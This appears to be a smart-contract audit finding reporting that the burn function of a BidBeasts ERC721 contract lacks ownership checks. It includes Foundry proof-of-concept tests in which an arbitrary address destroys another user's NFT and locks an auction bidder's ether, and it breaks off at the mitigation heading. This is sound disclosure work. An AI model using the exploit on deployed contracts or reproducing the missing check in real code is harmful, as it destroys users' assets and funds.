Lack of ownership checks in the burn function allows any caller to destroy others’ NFTs, causing permanent asset loss

Description

• Like a typical ERC721 contract, the burn function inside the BidBeasts_NFT_ERC721 contract is intended to allow the owner of an NFT to destroy (burn) their token, effectively removing it from circulation.

• However, that's not the case here. The BidBeasts_NFT_ERC721::burn function lacks any access control mechanism, meaning that anyone can call this function to burn any NFT, regardless of ownership. This is a significant security flaw as it allows malicious actors to destroy NFTs they do not own.

Risk

Likelihood: High

• Any user with knowledge of the contract can call burn for any valid token ID, requiring only a valid transaction.

Impact: High

• In a less worse case, the NFT owner will be directly affected as their asset will vanish in the blink of an eye. There's no way to recover it as well.

• But what if that NFT was in a mid-auction? Now, it not just affects the owner of the NFT, but also the highest bidder who might have placed a significant bid on it; his bid amount will be stuck in the contract, forever (see PoC).

Proof of Concept

The following PoCs demonstrate two scenarios: (1) unauthorised burning of an owned NFT, and (2) burning an NFT mid-auction, locking bidder funds.

• First, add this test_UnauthorizedBurn in the test file.

  function test_UnauthorizedBurn() public {

  // Let's mint an nft, using the modifier provided in the test file itself

  _mintNFT(); // SELLER is the owner of this NFT, token_id = 0

  ​

  // Checking whether SELLER owns the NFT or not...

  assertEq(nft.ownerOf(TOKEN_ID), SELLER, "SELLER should own the NFT");

  ​

  // Let's spawn a malicious actor: Charlie

  address charlie = makeAddr("Charlie");

  ​

  // Charlie decides to burn the NFT of SELLER

  vm.prank(charlie);

  nft.burn(TOKEN_ID);

  ​

  // Does this token still exists? Well, No!!

  vm.expectRevert("ERC721NonexistentToken(0)");

  nft.ownerOf(TOKEN_ID);

  }
  
  

• Run the above test using the following command:

  forge test --mt test_UnauthorizedBurn -vv
  
  

• Now, add the following test_BurnDuringAuction in the test file:

  function test_BurnDuringAuction() public {

  // Minting and listing the NFT through modifiers

  _mintNFT(); // Again to SELLER, token_id = 0

  _listNFT(); // NFT is listed by SELLER, with min_price = 1 ether, buy_now_price = 5 ether

  ​

  // After listing, the token gets transferred to the marketplace contract

  // Thus, `market` is the new owner...Let's check it

  assertEq(nft.ownerOf(TOKEN_ID), address(market), "marketplace contract should own the NFT");

  ​

  // An Unlucky Bidder bids for it, hoping to get this precious gem

  vm.prank(BIDDER_1);

  market.placeBid{value: BID_AMOUNT}(TOKEN_ID); // BID_AMOUNT = 1.2 ether

  ​

  // Charlie gets revived again

  address charlie = makeAddr("Charlie");

  ​

  // As it's in the middle of an auction, Charlie decides to burn the NFT

  vm.prank(charlie);

  nft.burn(TOKEN_ID);

  ​

  // As expected, this NFT with token_id = 0 no longer exists

  vm.expectRevert("ERC721NonexistentToken(0)");

  nft.ownerOf(TOKEN_ID);

  ​

  // Now, SELLER feels like this is the highest bid he can get so far, and decides to take it

  vm.prank(SELLER);

  vm.expectRevert("ERC721NonexistentToken(0)"); // It's bound to fail, obviously

  market.takeHighestBid(TOKEN_ID);

  ​

  // The NFT gets vanished, and the BIDDER_1 hard-earned ether got stuck

  (, uint256 amount) = market.bids(TOKEN_ID);

  console.log("BIDDER_1 stuck amount:", amount);

  }
  
  

• Run the above test using the command:

  forge test --mt test_BurnDuringAuction -vv
  
  

• The output we get from the 2nd test:

  Ran 1 test for test/BidBeastsMarketPlaceTest.t.sol:BidBeastsNFTMarketTest

  [PASS] test_BurnDuringAuction() (gas: 279518)

  Logs:

  BIDDER_1 stuck amount: 1200000000000000000

  ​

  Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.12ms (358.44µs CPU time)

Recommended Mitigation

There's a need for access control on the burn function. Either include a direct check or add a modifier instead: